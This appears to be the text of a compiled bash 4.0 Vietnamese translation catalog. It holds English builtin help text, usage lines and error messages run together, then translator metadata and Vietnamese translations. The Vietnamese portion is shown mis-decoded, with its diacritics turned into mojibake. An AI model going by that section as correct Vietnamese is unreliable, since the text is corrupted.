      -m	the maximum resident set size
      -n	the maximum number of open file descriptors
      -p	the pipe buffer size
      -q	the maximum number of bytes in POSIX message queues
      -r	the maximum real-time scheduling priority
      -s	the maximum stack size
      -t	the maximum amount of cpu time in seconds
      -u	the maximum number of user processes
      -v	the size of virtual memory
      -x	the maximum number of file locks
    
    If LIMIT is given, it is the new value of the specified resource; the
    special LIMIT values `soft', `hard', and `unlimited' stand for the
    current soft limit, the current hard limit, and no limit, respectively.
    Otherwise, the current value of the specified resource is printed.  If
    no option is given, then -f is assumed.
    
    Values are in 1024-byte increments, except for -t, which is in seconds,
    -p, which is in increments of 512 bytes, and -u, which is an unscaled
    number of processes.
    
    Exit Status:
    Returns success unless an invalid option is supplied or an error occurs.Move job to the foreground.
    
    Place the job identified by JOB_SPEC in the foreground, making it the
    current job.  If JOB_SPEC is not present, the shell's notion of the
    current job is used.
    
    Exit Status:
    Status of command placed in foreground, or failure if an error occurs.Move jobs to the background.
    
    Place the jobs identified by each JOB_SPEC in the background, as if they
    had been started with `&'.  If JOB_SPEC is not present, the shell's notion
    of the current job is used.
    
    Exit Status:
    Returns success unless job control is not enabled or an error occurs.Null command.
    
    No effect; the command does nothing.
    
    Exit Status:
    Always succeeds.OLDPWD not setParse option arguments.
    
    Getopts is used by shell procedures to parse positional parameters
    as options.
    
    OPTSTRING contains the option letters to be recognized; if a letter
    is followed by a colon, the option is expected to have an argument,
    which should be separated from it by white space.
    
    Each time it is invoked, getopts will place the next option in the
    shell variable $name, initializing name if it does not exist, and
    the index of the next argument to be processed into the shell
    variable OPTIND.  OPTIND is initialized to 1 each time the shell or
    a shell script is invoked.  When an option requires an argument,
    getopts places that argument into the shell variable OPTARG.
    
    getopts reports errors in one of two ways.  If the first character
    of OPTSTRING is a colon, getopts uses silent error reporting.  In
    this mode, no error messages are printed.  If an invalid option is
    seen, getopts places the option character found into OPTARG.  If a
    required argument is not found, getopts places a ':' into NAME and
    sets OPTARG to the option character found.  If getopts is not in
    silent mode, and an invalid option is seen, getopts places '?' into
    NAME and unsets OPTARG.  If a required argument is not found, a '?'
    is placed in NAME, OPTARG is unset, and a diagnostic message is
    printed.
    
    If the shell variable OPTERR has the value 0, getopts disables the
    printing of error messages, even if the first character of
    OPTSTRING is not a colon.  OPTERR has the value 1 by default.
    
    Getopts normally parses the positional parameters ($0 - $9), but if
    more arguments are given, they are parsed instead.
    
    Exit Status:
    Returns success if an option is found; fails if the end of options is
    encountered or an error occurs.Print the name of the current working directory.
    
    Options:
      -L	print the value of $PWD if it names the current working
    	directory
      -P	print the physical directory, without any symbolic links
    
    By default, `pwd' behaves as if `-L' were specified.
    
    Exit Status:
    Returns 0 unless an invalid option is given or the current directory
    cannot be read.QuitRead lines from a file into an array variable.
    
    A synonym for `mapfile'.Record lockRemember or display program locations.
    
    Determine and remember the full pathname of each command NAME.  If
    no arguments are given, information about remembered commands is displayed.
    
    Options:
      -d		forget the remembered location of each NAME
      -l		display in a format that may be reused as input
      -p pathname	use PATHNAME is the full pathname of NAME
      -r		forget all remembered locations
      -t		print the remembered location of each NAME, preceding
    		each location with the corresponding NAME if multiple
    		NAMEs are given
    Arguments:
      NAME		Each NAME is searched for in $PATH and added to the list
    		of remembered commands.
    
    Exit Status:
    Returns success unless NAME is not found or an invalid option is given.Remove directories from stack.
    
    Removes entries from the directory stack.  With no arguments, removes
    the top directory from the stack, and changes to the new top directory.
    
    Options:
      -n	Suppresses the normal change of directory when removing
    	directories from the stack, so only the stack is manipulated.
    
    Arguments:
      +N	Removes the Nth entry counting from the left of the list
    	shown by `dirs', starting with zero.  For example: `popd +0'
    	removes the first directory, `popd +1' the second.
    
      -N	Removes the Nth entry counting from the right of the list
    	shown by `dirs', starting with zero.  For example: `popd -0'
    	removes the last directory, `popd -1' the next to last.
    
    The `dirs' builtin displays the directory stack.
    
    Exit Status:
    Returns success unless an invalid argument is supplied or the directory
    change fails.Remove each NAME from the list of defined aliases.
    
    Options:
      -a	remove all alias definitions.
    
    Return success unless a NAME is not an existing alias.Remove jobs from current shell.
    
    Removes each JOBSPEC argument from the table of active jobs.  Without
    any JOBSPECs, the shell uses its notion of the current job.
    
    Options:
      -a	remove all jobs if JOBSPEC is not supplied
      -h	mark each JOBSPEC so that SIGHUP is not sent to the job if the
    	shell receives a SIGHUP
      -r	remove only running jobs
    
    Exit Status:
    Returns success unless an invalid option or JOBSPEC is given.Removes entries from the directory stack.  With no arguments, removes
    the top directory from the stack, and changes to the new top directory.
    
    Options:
      -n	Suppresses the normal change of directory when removing
    	directories from the stack, so only the stack is manipulated.
    
    Arguments:
      +N	Removes the Nth entry counting from the left of the list
    	shown by `dirs', starting with zero.  For example: `popd +0'
    	removes the first directory, `popd +1' the second.
    
      -N	Removes the Nth entry counting from the right of the list
    	shown by `dirs', starting with zero.  For example: `popd -0'
    	removes the last directory, `popd -1' the next to last.
    
    The `dirs' builtin displays the directory stack.Replace the shell with the given command.
    
    Execute COMMAND, replacing this shell with the specified program.
    ARGUMENTS become the arguments to COMMAND.  If COMMAND is not specified,
    any redirections take effect in the current shell.
    
    Options:
      -a name	pass NAME as the zeroth argument to COMMAND
      -c		execute COMMAND with an empty environment
      -l		place a dash in the zeroth argument to COMMAND
    
    If the command cannot be executed, a non-interactive shell exits, unless
    the shell option `execfail' is set.
    
    Exit Status:
    Returns success unless COMMAND is not found or a redirection error occurs.Report time consumed by pipeline's execution.
    
    Execute PIPELINE and print a summary of the real time, user CPU time,
    and system CPU time spent executing PIPELINE when it terminates.
    
    Options:
      -p	print the timing summary in the portable Posix format
    
    The value of the TIMEFORMAT variable is used as the output format.
    
    Exit Status:
    The return status is the return status of PIPELINE.Resume for, while, or until loops.
    
    Resumes the next iteration of the enclosing FOR, WHILE or UNTIL loop.
    If N is specified, resumes the Nth enclosing loop.
    
    Exit Status:
    The exit status is 0 unless N is not greater than or equal to 1.Resume job in foreground.
    
    Equivalent to the JOB_SPEC argument to the `fg' command.  Resume a
    stopped or background job.  JOB_SPEC can specify either a job name
    or a job number.  Following JOB_SPEC with a `&' places the job in
    the background, as if the job specification had been supplied as an
    argument to `bg'.
    
    Exit Status:
    Returns the status of the resumed job.Return a successful result.
    
    Exit Status:
    Always succeeds.Return an unsuccessful result.
    
    Exit Status:
    Always fails.Return from a shell function.
    
    Causes a function or sourced script to exit with the return value
    specified by N.  If N is omitted, the return status is that of the
    last command executed within the function or script.
    
    Exit Status:
    Returns N, or failure if the shell is not executing a function or script.Return the context of the current subroutine call.
    
    Without EXPR, returns "$line $filename".  With EXPR, returns
    "$line $subroutine $filename"; this extra information can be used to
    provide a stack trace.
    
    The value of EXPR indicates how many call frames to go back before the
    current one; the top frame is frame 0.
    
    Exit Status:
    Returns 0 unless the shell is not executing a shell function or EXPR
    is invalid.Returns the context of the current subroutine call.
    
    Without EXPR, returns RunningSegmentation faultSelect words from a list and execute commands.
    
    The WORDS are expanded, generating a list of words.  The
    set of expanded words is printed on the standard error, each
    preceded by a number.  If `in WORDS' is not present, `in "$@"'
    is assumed.  The PS3 prompt is then displayed and a line read
    from the standard input.  If the line consists of the number
    corresponding to one of the displayed words, then NAME is set
    to that word.  If the line is empty, WORDS and the prompt are
    redisplayed.  If EOF is read, the command completes.  Any other
    value read causes NAME to be set to null.  The line read is saved
    in the variable REPLY.  COMMANDS are executed after each selection
    until a break command is executed.
    
    Exit Status:
    Returns the status of the last command executed.Send a signal to a job.
    
    Send the processes identified by PID or JOBSPEC the signal named by
    SIGSPEC or SIGNUM.  If neither SIGSPEC nor SIGNUM is present, then
    SIGTERM is assumed.
    
    Options:
      -s sig	SIG is a signal name
      -n sig	SIG is a signal number
      -l	list the signal names; if arguments follow `-l' they are
    	assumed to be signal numbers for which names should be listed
    
    Kill is a shell builtin for two reasons: it allows job IDs to be used
    instead of process IDs, and allows processes to be killed if the limit
    on processes that you can create is reached.
    
    Exit Status:
    Returns success unless an invalid option is given or an error occurs.Set Readline key bindings and variables.
    
    Bind a key sequence to a Readline function or a macro, or set a
    Readline variable.  The non-option argument syntax is equivalent to
    that found in ~/.inputrc, but must be passed as a single argument:
    e.g., bind '"\C-x\C-r": re-read-init-file'.
    
    Options:
      -m  keymap         Use KEYMAP as the keymap for the duration of this
                         command.  Acceptable keymap names are emacs,
                         emacs-standard, emacs-meta, emacs-ctlx, vi, vi-move,
                         vi-command, and vi-insert.
      -l                 List names of functions.
      -P                 List function names and bindings.
      -p                 List functions and bindings in a form that can be
                         reused as input.
      -S                 List key sequences that invoke macros and their values
      -s                 List key sequences that invoke macros and their values
                         in a form that can be reused as input.
      -V                 List variable names and values
      -v                 List variable names and values in a form that can
                         be reused as input.
      -q  function-name  Query about which keys invoke the named function.
      -u  function-name  Unbind all keys which are bound to the named function.
      -r  keyseq         Remove the binding for KEYSEQ.
      -f  filename       Read key bindings from FILENAME.
      -x  keyseq:shell-command	Cause SHELL-COMMAND to be executed when
    				KEYSEQ is entered.
    
    Exit Status:
    bind returns 0 unless an unrecognized option is given or an error occurs.Set and unset shell options.
    
    Change the setting of each shell option OPTNAME.  Without any option
    arguments, list all shell options with an indication of whether or not each
    is set.
    
    Options:
      -o	restrict OPTNAMEs to those defined for use with `set -o'
      -p	print each shell option with an indication of its status
      -q	suppress output
      -s	enable (set) each OPTNAME
      -u	disable (unset) each OPTNAME
    
    Exit Status:
    Returns success if OPTNAME is enabled; fails if an invalid option is
    given or OPTNAME is disabled.Set export attribute for shell variables.
    
    Marks each NAME for automatic export to the environment of subsequently
    executed commands.  If VALUE is supplied, assign VALUE before exporting.
    
    Options:
      -f	refer to shell functions
      -n	remove the export property from each NAME
      -p	display a list of all exported variables and functions
    
    An argument of `--' disables further option processing.
    
    Exit Status:
    Returns success unless an invalid option is given or NAME is invalid.Set or unset values of shell options and positional parameters.
    
    Change the value of shell attributes and positional parameters, or
    display the names and values of shell variables.
    
    Options:
      -a  Mark variables which are modified or created for export.
      -b  Notify of job termination immediately.
      -e  Exit immediately if a command exits with a non-zero status.
      -f  Disable file name generation (globbing).
      -h  Remember the location of commands as they are looked up.
      -k  All assignment arguments are placed in the environment for a
          command, not just those that precede the command name.
      -m  Job control is enabled.
      -n  Read commands but do not execute them.
      -o option-name
          Set the variable corresponding to option-name:
              allexport    same as -a
              braceexpand  same as -B
              emacs        use an emacs-style line editing interface
              errexit      same as -e
              errtrace     same as -E
              functrace    same as -T
              hashall      same as -h
              histexpand   same as -H
              history      enable command history
              ignoreeof    the shell will not exit upon reading EOF
              interactive-comments
                           allow comments to appear in interactive commands
              keyword      same as -k
              monitor      same as -m
              noclobber    same as -C
              noexec       same as -n
              noglob       same as -f
              nolog        currently accepted but ignored
              notify       same as -b
              nounset      same as -u
              onecmd       same as -t
              physical     same as -P
              pipefail     the return value of a pipeline is the status of
                           the last command to exit with a non-zero status,
                           or zero if no command exited with a non-zero status
              posix        change the behavior of bash where the default
                           operation differs from the Posix standard to
                           match the standard
              privileged   same as -p
              verbose      same as -v
              vi           use a vi-style line editing interface
              xtrace       same as -x
      -p  Turned on whenever the real and effective user ids do not match.
          Disables processing of the $ENV file and importing of shell
          functions.  Turning this option off causes the effective uid and
          gid to be set to the real uid and gid.
      -t  Exit after reading and executing one command.
      -u  Treat unset variables as an error when substituting.
      -v  Print shell input lines as they are read.
      -x  Print commands and their arguments as they are executed.
      -B  the shell will perform brace expansion
      -C  If set, disallow existing regular files to be overwritten
          by redirection of output.
      -E  If set, the ERR trap is inherited by shell functions.
      -H  Enable ! style history substitution.  This flag is on
          by default when the shell is interactive.
      -P  If set, do not follow symbolic links when executing commands
          such as cd which change the current directory.
      -T  If set, the DEBUG trap is inherited by shell functions.
      -   Assign any remaining arguments to the positional parameters.
          The -x and -v options are turned off.
    
    Using + rather than - causes these flags to be turned off.  The
    flags can also be used upon invocation of the shell.  The current
    set of flags may be found in $-.  The remaining n ARGs are positional
    parameters and are assigned, in order, to $1, $2, .. $n.  If no
    ARGs are given, all shell variables are printed.
    
    Exit Status:
    Returns success unless an invalid option is given.Set variable values and attributes.
    
    Declare variables and give them attributes.  If no NAMEs are given,
    display the attributes and values of all variables.
    
    Options:
      -f	restrict action or display to function names and definitions
      -F	restrict display to function names only (plus line number and
    	source file when debugging)
      -p	display the attributes and value of each NAME
    
    Options which set attributes:
      -a	to make NAMEs indexed arrays (if supported)
      -A	to make NAMEs associative arrays (if supported)
      -i	to make NAMEs have the `integer' attribute
      -l	to convert NAMEs to lower case on assignment
      -r	to make NAMEs readonly
      -t	to make NAMEs have the `trace' attribute
      -u	to convert NAMEs to upper case on assignment
      -x	to make NAMEs export
    
    Using `+' instead of `-' turns off the given attribute.
    
    Variables with the integer attribute have arithmetic evaluation (see
    the `let' command) performed when the variable is assigned a value.
    
    When used in a function, `declare' makes NAMEs local, as with the `local'
    command.
    
    Exit Status:
    Returns success unless an invalid option is supplied or an error occurs.Set variable values and attributes.
    
    Obsolete.  See `help declare'.Shell commands matching keyword `Shell commands matching keywords `Shell options:
Shift positional parameters.
    
    Rename the positional parameters $N+1,$N+2 ... to $1,$2 ...  If N is
    not given, it is assumed to be 1.
    
    Exit Status:
    Returns success unless N is negative or greater than $#.Signal %dStoppedStopped (signal)Stopped (tty input)Stopped (tty output)Stopped(%s)Suspend shell execution.
    
    Suspend the execution of this shell until it receives a SIGCONT signal.
    Unless forced, login shells cannot be suspended.
    
    Options:
      -f	force the suspend, even if the shell is a login shell
    
    Exit Status:
    Returns success unless job control is not enabled or an error occurs.TIMEFORMAT: `%c': invalid format characterTerminatedThe mail in %s has been read
There are running jobs.
There are stopped jobs.
There is NO WARRANTY, to the extent permitted by law.
These shell commands are defined internally.  Type `help' to see this list.
Type `help name' to find out more about the function `name'.
Use `info bash' to find out more about the shell in general.
Use `man -k' or `info' to find out more about commands not in this list.

A star (*) next to a name means that the command is disabled.

This is free software; you are free to change and redistribute it.
Trap signals and other events.
    
    Defines and activates handlers to be run when the shell receives signals
    or other conditions.
    
    ARG is a command to be read and executed when the shell receives the
    signal(s) SIGNAL_SPEC.  If ARG is absent (and a single SIGNAL_SPEC
    is supplied) or `-', each specified signal is reset to its original
    value.  If ARG is the null string each SIGNAL_SPEC is ignored by the
    shell and by the commands it invokes.
    
    If a SIGNAL_SPEC is EXIT (0) ARG is executed on exit from the shell.  If
    a SIGNAL_SPEC is DEBUG, ARG is executed before every simple command.
    
    If no arguments are supplied, trap prints the list of commands associated
    with each signal.
    
    Options:
      -l	print a list of signal names and their corresponding numbers
      -p	display the trap commands associated with each SIGNAL_SPEC
    
    Each SIGNAL_SPEC is either a signal name in <signal.h> or a signal number.
    Signal names are case insensitive and the SIG prefix is optional.  A
    signal may be sent to the shell with "kill -signal $$".
    
    Exit Status:
    Returns success unless a SIGSPEC is invalid or an invalid option is given.Type `%s -c "help set"' for more information about shell options.
Type `%s -c help' for more information about shell builtin commands.
Unknown Signal #Unknown Signal #%dUnknown errorUnknown statusUnset values and attributes of shell variables and functions.
    
    For each NAME, remove the corresponding variable or function.
    
    Options:
      -f	treat each NAME as a shell function
      -v	treat each NAME as a shell variable
    
    Without options, unset first tries to unset a variable, and if that fails,
    tries to unset a function.
    
    Some variables cannot be unset; also see `readonly'.
    
    Exit Status:
    Returns success unless an invalid option is given or a NAME is read-only.Urgent IO conditionUsage:	%s [GNU long option] [option] ...
	%s [GNU long option] [option] script-file ...
Use "%s" to leave the shell.
Use the `bashbug' command to report bugs.
User signal 1User signal 2Wait for job completion and return exit status.
    
    Waits for the process identified by ID, which may be a process ID or a
    job specification, and reports its termination status.  If ID is not
    given, waits for all currently active child processes, and the return
    status is zero.  If ID is a a job specification, waits for all processes
    in the job's pipeline.
    
    Exit Status:
    Returns the status of ID; fails if ID is invalid or an invalid option is
    given.Wait for process completion and return exit status.
    
    Waits for the specified process and reports its termination status.  If
    PID is not given, all currently active child processes are waited for,
    and the return code is zero.  PID must be a process ID.
    
    Exit Status:
    Returns the status of ID; fails if ID is invalid or an invalid option is
    given.Window changedWrite arguments to the standard output.
    
    Display the ARGs on the standard output followed by a newline.
    
    Options:
      -n	do not append a newline
    
    Exit Status:
    Returns success unless a write error occurs.Write arguments to the standard output.
    
    Display the ARGs on the standard output followed by a newline.
    
    Options:
      -n	do not append a newline
      -e	enable interpretation of the following backslash escapes
      -E	explicitly suppress interpretation of backslash escapes
    
    `echo' interprets the following backslash-escaped characters:
      \a	alert (bell)
      \b	backspace
      \c	suppress further output
      \e	escape character
      \f	form feed
      \n	new line
      \r	carriage return
      \t	horizontal tab
      \v	vertical tab
      \\	backslash
      \0nnn	the character whose ASCII code is NNN (octal).  NNN can be
    	0 to 3 octal digits
      \xHH	the eight-bit character whose value is HH (hexadecimal).  HH
    	can be one or two hex digits
    
    Exit Status:
    Returns success unless a write error occurs.You have mail in $_You have new mail in $_[ arg... ][[ expression ]]`%c': bad command`%c': invalid format character`%c': invalid symbolic mode character`%c': invalid symbolic mode operator`%s': cannot unbind`%s': invalid keymap name`%s': missing format character`%s': not a pid or valid job spec`%s': not a valid identifier`%s': unknown function name`)' expected`)' expected, found %s`:' expected for conditional expressionadd_process: pid %5ld (%s) marked as still aliveadd_process: process %5ld (%s) in the_pipelinealias [-p] [name[=value] ... ]all_local_variables: no function context at current scopeargumentargument expectedarray variable support requiredattempted assignment to non-variablebad array subscriptbad command typebad connectorbad jumpbad substitution: no closing "`" in %sbad substitution: no closing `%s' in %sbash_execute_unix_command: cannot find keymap for commandbg [job_spec ...]bind [-lpvsPVS] [-m keymap] [-f filename] [-q name] [-u name] [-r keyseq] [-x keyseq:shell-command] [keyseq:readline-function or readline-command]break [n]bug: bad expassign tokenbuiltin [shell-builtin [arg ...]]caller [expr]can only `return' from a function or sourced scriptcan only be used in a functioncannot allocate new file descriptor for bash input from fd %dcannot create temp file for here-document: %scannot duplicate fd %d to fd %dcannot duplicate named pipe %s as fd %dcannot find %s in shared object %s: %scannot make child for command substitutioncannot make child for process substitutioncannot make pipe for command substitutioncannot make pipe for process substitutioncannot open named pipe %s for readingcannot open named pipe %s for writingcannot open shared object %s: %scannot redirect standard input from /dev/null: %scannot reset nodelay mode for fd %dcannot set and unset shell options simultaneouslycannot set terminal process group (%d)cannot simultaneously unset a function and a variablecannot suspendcannot suspend a login shellcannot use `-f' to make functionscannot use more than one of -anrwcase WORD in [PATTERN [| PATTERN]...) COMMANDS ;;]... esaccd [-L|-P] [dir]child setpgid (%ld to %ld)command [-pVv] command [arg ...]command_substitute: cannot duplicate pipe as fd 1compgen [-abcdefgjksuv] [-o option]  [-A action] [-G globpat] [-W wordlist]  [-F function] [-C command] [-X filterpat] [-P prefix] [-S suffix] [word]completion: function `%s' not foundconditional binary operator expectedcontinue [n]coproc [NAME] command [redirections]could not find /tmp, please create!cprintf: `%c': invalid format charactercurrentdeclare [-aAfFilrtux] [-p] [name[=value] ...]deleting stopped job %d with process group %lddescribe_pid: %ld: no such piddirectory stack emptydirectory stack indexdirs [-clpv] [+N] [-N]disown [-h] [-ar] [jobspec ...]division by 0dynamic loading not availableecho [-n] [arg ...]echo [-neE] [arg ...]empty array variable nameenable [-a] [-dnps] [-f filename] [name ...]error getting terminal attributes: %serror importing function definition for `%s'error setting terminal attributes: %seval [arg ...]exec [-cl] [-a name] [command [arguments ...]] [redirection ...]exit [n]expected `)'exponent less than 0export [-fn] [name[=value] ...] or export -pexpression expectedexpression recursion level exceededfalsefc [-e ename] [-lnr] [first] [last] or fc -s [pat=rep] [command]fg [job_spec]file descriptor out of rangefilename argument requiredfor (( exp1; exp2; exp3 )); do COMMANDS; donefor NAME [in WORDS ... ] ; do COMMANDS; doneforked pid %d appears in running job %dfree: called with already freed block argumentfree: called with unallocated block argumentfree: start and end chunk sizes differfree: underflow detected; mh_nbytes out of rangefunction name { COMMANDS ; } or name () { COMMANDS ; }getcwd: cannot access parent directoriesgetopts optstring name [arg]hash [-lr] [-p pathname] [-dt] [name ...]hashing disabledhere-document at line %d delimited by end-of-file (wanted `%s')history [-c] [-d offset] [n] or history -anrw [filename] or history -ps arg [arg...]history positionhistory specificationhits	command
identifier expected after pre-increment or pre-decrementif COMMANDS; then COMMANDS; [ elif COMMANDS; then COMMANDS; ]... [ else COMMANDS; ] fiinitialize_job_control: getpgrp failedinitialize_job_control: line disciplineinitialize_job_control: setpgidinvalid arithmetic baseinvalid baseinvalid character %d in exportstr for %sinvalid hex numberinvalid numberinvalid octal numberinvalid signal numberjob %d started without job controljob_spec [&]jobs [-lnprs] [jobspec ...] or jobs -x command [args]kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or kill -l [sigspec]last command: %s
let arg [arg ...]limitline %d: line editing not enabledlocal [option] name[=value] ...logout
logout [n]loop countmake_here_document: bad instruction type %dmake_local_variable: no function context at current scopemake_redirection: redirection instruction `%d' out of rangemalloc: block on free list clobberedmalloc: failed assertion: %s
mapfile [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array]migrate process to another CPUmissing `)'missing `]'missing hex digit for \xnetwork operations not supportedno `=' in exportstr for %sno closing `%c' in %sno command foundno help topics match `%s'.  Try `help help' or `man -k %s' or `info %s'.no job controlno job control in this shellno match: %sno other directoryno other options allowed with `-x'not currently executing completion functionnot login shell: use `exit'octal numberonly meaningful in a `for', `while', or `until' looppipe errorpop_scope: head of shell_variables not a temporary environment scopepop_var_context: head of shell_variables not a function contextpop_var_context: no global_variables contextpopd [-n] [+N | -N]power failure imminentprint_command: bad connector `%d'printf [-v var] format [arguments]progcomp_insert: %s: NULL COMPSPECprogramming errorpushd [-n] [+N | -N | dir]pwd [-LP]read error: %d: %sreadarray [-n count] [-O origin] [-s count] [-t] [-u fd] [-C callback] [-c quantum] [array]readonly [-af] [name[=value] ...] or readonly -prealloc: called with unallocated block argumentrealloc: start and end chunk sizes differrealloc: underflow detected; mh_nbytes out of rangerecursion stack underflowredirection error: cannot duplicate fdregister_alloc: %p already in table as allocated?
register_alloc: alloc table is full with FIND_ALLOC?
register_free: %p already in table as free?
restrictedreturn [n]run_pending_traps: bad value in trap_list[%d]: %prun_pending_traps: signal handler is SIG_DFL, resending %d (%s) to myselfsave_bash_input: buffer already exists for new fd %dselect NAME [in WORDS ... ;] do COMMANDS; doneset [--abefhkmnptuvxBCHP] [-o option-name] [arg ...]shell level (%d) too high, resetting to 1shift [n]shift countshopt [-pqsu] [-o] [optname ...]sigprocmask: %d: invalid operationsource filename [arguments]start_pipeline: pgrp pipesuspend [-f]syntax errorsyntax error in conditional expressionsyntax error in conditional expression: unexpected token `%s'syntax error in expressionsyntax error near `%s'syntax error near unexpected token `%s'syntax error: `((%s))'syntax error: `;' unexpectedsyntax error: arithmetic expression requiredsyntax error: invalid arithmetic operatorsyntax error: operand expectedsyntax error: unexpected end of filesystem crash imminenttest [expr]time [-p] pipelinetimestoo many argumentstrap [-lp] [[arg] signal_spec ...]trap_handler: bad signal %dtruetype [-afptP] name [name ...]typeset [-aAfFilrtux] [-p] name[=value] ...ulimit [-SHacdefilmnpqrstuvx] [limit]umask [-p] [-S] [mode]unalias [-a] name [name ...]unexpected EOF while looking for `]]'unexpected EOF while looking for matching `%c'unexpected EOF while looking for matching `)'unexpected argument `%s' to conditional binary operatorunexpected argument `%s' to conditional unary operatorunexpected argument to conditional binary operatorunexpected argument to conditional unary operatorunexpected token %d in conditional commandunexpected token `%c' in conditional commandunexpected token `%s' in conditional commandunexpected token `%s', conditional binary operator expectedunexpected token `%s', expected `)'unknownunknown command errorunset [-f] [-v] [name ...]until COMMANDS; do COMMANDS; donevalue too great for basevariables - Names and meanings of some shell variableswait [id]wait [pid]wait: pid %ld is not a child of this shellwait_for: No record of process %ldwait_for_job: job %d is stoppedwarning: warning: %s: %swarning: -C option may not work as you expectwarning: -F option may not work as you expectwhile COMMANDS; do COMMANDS; donewrite error: %s{ COMMANDS ; }Project-Id-Version: bash 4.0
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2009-12-30 08:25-0500
PO-Revision-Date: 2009-09-19 21:17+0930
Last-Translator: Clytie Siddall <clytie@riverland.net.au>
Language-Team: Vietnamese <vi-VN@googlegroups.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=1; plural=0;
X-Generator: LocFactoryEditor 1.8
	quá hạn trong khi đợi dữ liệu nhập nên tự động đăng xuất
	-%s hoặc -o tùy chá»n
	-irsD hoặc -c lệnh or -O shopt_option		(chỉ cuá»™c gá»i)

malloc (cấp phát bá»™ nhá»›): %s:%d: khẳng định bị há»ng
  (wd: %s) (lõi bị đổ)dòng$%s: không thể gán bằng cách này%c%c: tùy chá»n không hợp lệ%d: bá»™ mô tả tập tin không hợp lệ: %s%s có thể được gá»i thông qua %s là %s
%s là hàm
%s là dựng sẵn trình bao
%s là từ khoá trình bao
%s có bí danh tới « %s »
%s có ký hiệu lộn xộn (%s)
%s không được tổ hợp với phím.
%s ở ngoại phạm vi%s%s%s: %s (hiệu bài lá»—i là « %s »)%s: %s ở ngoại phạm vi%s: %s: bá»™ thông dịch sai%s: %s: phải sá»­ dụng chữ thấp khi gán mảng kết hợp%s: đặc tả công việc mÆ¡ hồ%s: lá»i chuyển hướng mÆ¡ hồ%s: đối số phải là mã số cá»§a tiến trình (PID) hoặc công việc%s: đặc tả đưá»ng dẫn mạng sai%s: sai thay thế%s: đợi toán tá»­ nhị phân%s: không thể gán danh sách cho bá»™ phận cá»§a mảng%s: không thể cấp phát cho chỉ số không thuá»™c số%s: không thể chuyển đổi mảng kết hợp sang mảng theo số mÅ©%s: không thể chuyển đổi mảng theo số mÅ© sang mảng kết hợp%s: không thể tạo %s%s: không thể xoá: %s%s: không thể phá há»§y biến mảng bằng cách này%s: không thể thá»±c hiện tập tin nhị phân%s: không thể thá»±c hiện: %s%s: không thể lấy giá»›i hạn: %s%s: không thể sá»­a đổi giá»›i hạn: %s%s: không thể mở tập tin tạm thá»i: %s%s: không thể mở : %s%s: không thể ghi đè lên tập tin đã có%s: không thể Ä‘á»c %s%s: không thể há»§y đặt%s: không thể há»§y đặt: %s chỉ Ä‘á»c%s: không tìm thấy lệnh%s: gặp lá»—i khi lấy thư mục hiện thá»i: %s: %s
%s: lỗi biểu thức
%s: tập tin quá lớn%s: không tìm thấy tập tin%s: ký tự khác khoảng trắng đầu tiên không phải là dấu sổ chéo ngược « / »%s: bảng ký hiệu lộn xộn còn rỗng
%s: lá»—i mở rá»™ng lịch sá»­%s: không rõ máy%s: tùy chá»n không được phép -- %c
%s: inlib bị lá»—i%s: đợi biểu thức số nguyên%s: tên hành vi không hợp lệ%s: gốc mảng không hợp lệ%s: khoá màng kết hợp không hợp lệ%s: lượng gá»i ngược không hợp lệ%s: sai xác định bá»™ mô tả tập tin%s: đối số giá»›i hạn không hợp lệ%s: sai đếm dòng%s: tùy chá»n không hợp lệ%s: tên tùy chá»n không hợp lệ%s: dịch vụ không hợp lệ%s: tên tùy chá»n trình bao không hợp lệ%s: sai xác định tín hiệu%s: sai xác định quá hạn%s: là thư mục%s: công việc %d đã chạy trong ná»n%s: công việc bị chấm dứt%s: dòng %d:%s: thiếu dấu hai chấm định giá»›i%s: không có đặc tả Ä‘iá»n nốt%s: không có Ä‘iá»u khiển công việc%s: không có công việc như vậy%s: không phải hàm%s: không phải là tập tin chuẩn%s: không phải dá»±ng sẵn trình bao%s: không phải biến mảng%s không phải được nạp động%s: không tìm thấy%s: cần thiết đối số thuá»™c số%s: tùy chá»n cần thiết má»™t đối số%s: tùy chá»n cần thiết đối số -- %c
%s: tham số vô giá trị hoặc chưa được đặt%s: hàm chỉ Ä‘á»c%s: biến chỉ Ä‘á»c%s: bị hạn chế%s: bị hạn chế: không thể chuyển hướng kết xuất%s: bị hạn chế: không thể ghi rõ dấu sổ chéo « / » trong tên câu lệnh%s: biểu thức chuá»—i phụ < 0%s: đợi toán tá»­ nguyên phân%s: biến chưa tổ hợp%s: sá»­ dụng:(( biểu_thức ))(lõi bị đổ)(wd bây giá»: %s)
. tên_tập_tin [đối_số ...]/dev/(tcp|udp)/host/port không được há»— trợ khi không có chức năng chạy mạng« /tmp » phải là tên thư mục hợp lệ:<không có thư mục hiện thá»i>Câu lệnh HỦY BỎHá»§y bá»...Thêm thư mục vào đống.

Thêm một thư mục vào đầu của đống thư mục, hoặc xoay đống,
	làm cho thư mục má»›i đầu đống là thư mục làm việc hiện thá»i.
Không có đối số thì trao đổi hai thư mục đầu.

+N	Xoay đống để thư mục thứ N (đếm từ bên trái danh sách
	được hiển thị bằng « dirs », bắt đầu từ số không) dá»i lên đầu.

-N	Xoay đống để thư mục thứ N (đếm từ bên phải danh sách
	được hiển thị bằng « dirs », bắt đầu từ số không) dá»i lên đầu.

-n	Thu hồi chức năng chuyển đổi bình thưá»ng khi thêm thư mục
	vào đống, để thao tác chỉ đống.

dir	Thêm T_MỤC vào đầu đống thư mục, làm cho nó là thư mục
	làm việc hiện thá»i má»›i.

Dựng sẵn « dirs » thì hiển thị đống thư mục.

	Trạng thái thoát:
	Trả lại thành công nếu không đưa ra đối số sai,
	cũng không sai chuyển đổi thư mục.Thêm một thư mục vào đầu của đống thư mục, hoặc xoay đống,
	làm cho thư mục má»›i đầu đống là thư mục làm việc hiện thá»i.
	Không có đối số thì trao đổi hai thư mục đầu.

	Tùy chá»n:
		-n	thu hồi chức năng chuyển đổi thư mục bình thưá»ng
	khi thêm thư mục vào đống, thì chỉ thao tác đống chính nó.

	Äối số :
		+N	xoay đống để mà thư mục thứ N
			(đếm từ bên trái danh sách hiển thị theo thư mục,
			bắt đầu từ số không) nằm ở đầu.

		-N	xoay đống để mà thư mục thứ N
			(đếm từ bên phải danh sách hiển thị theo thư mục,
			bắt đầu từ số không) nằm ở đầu.

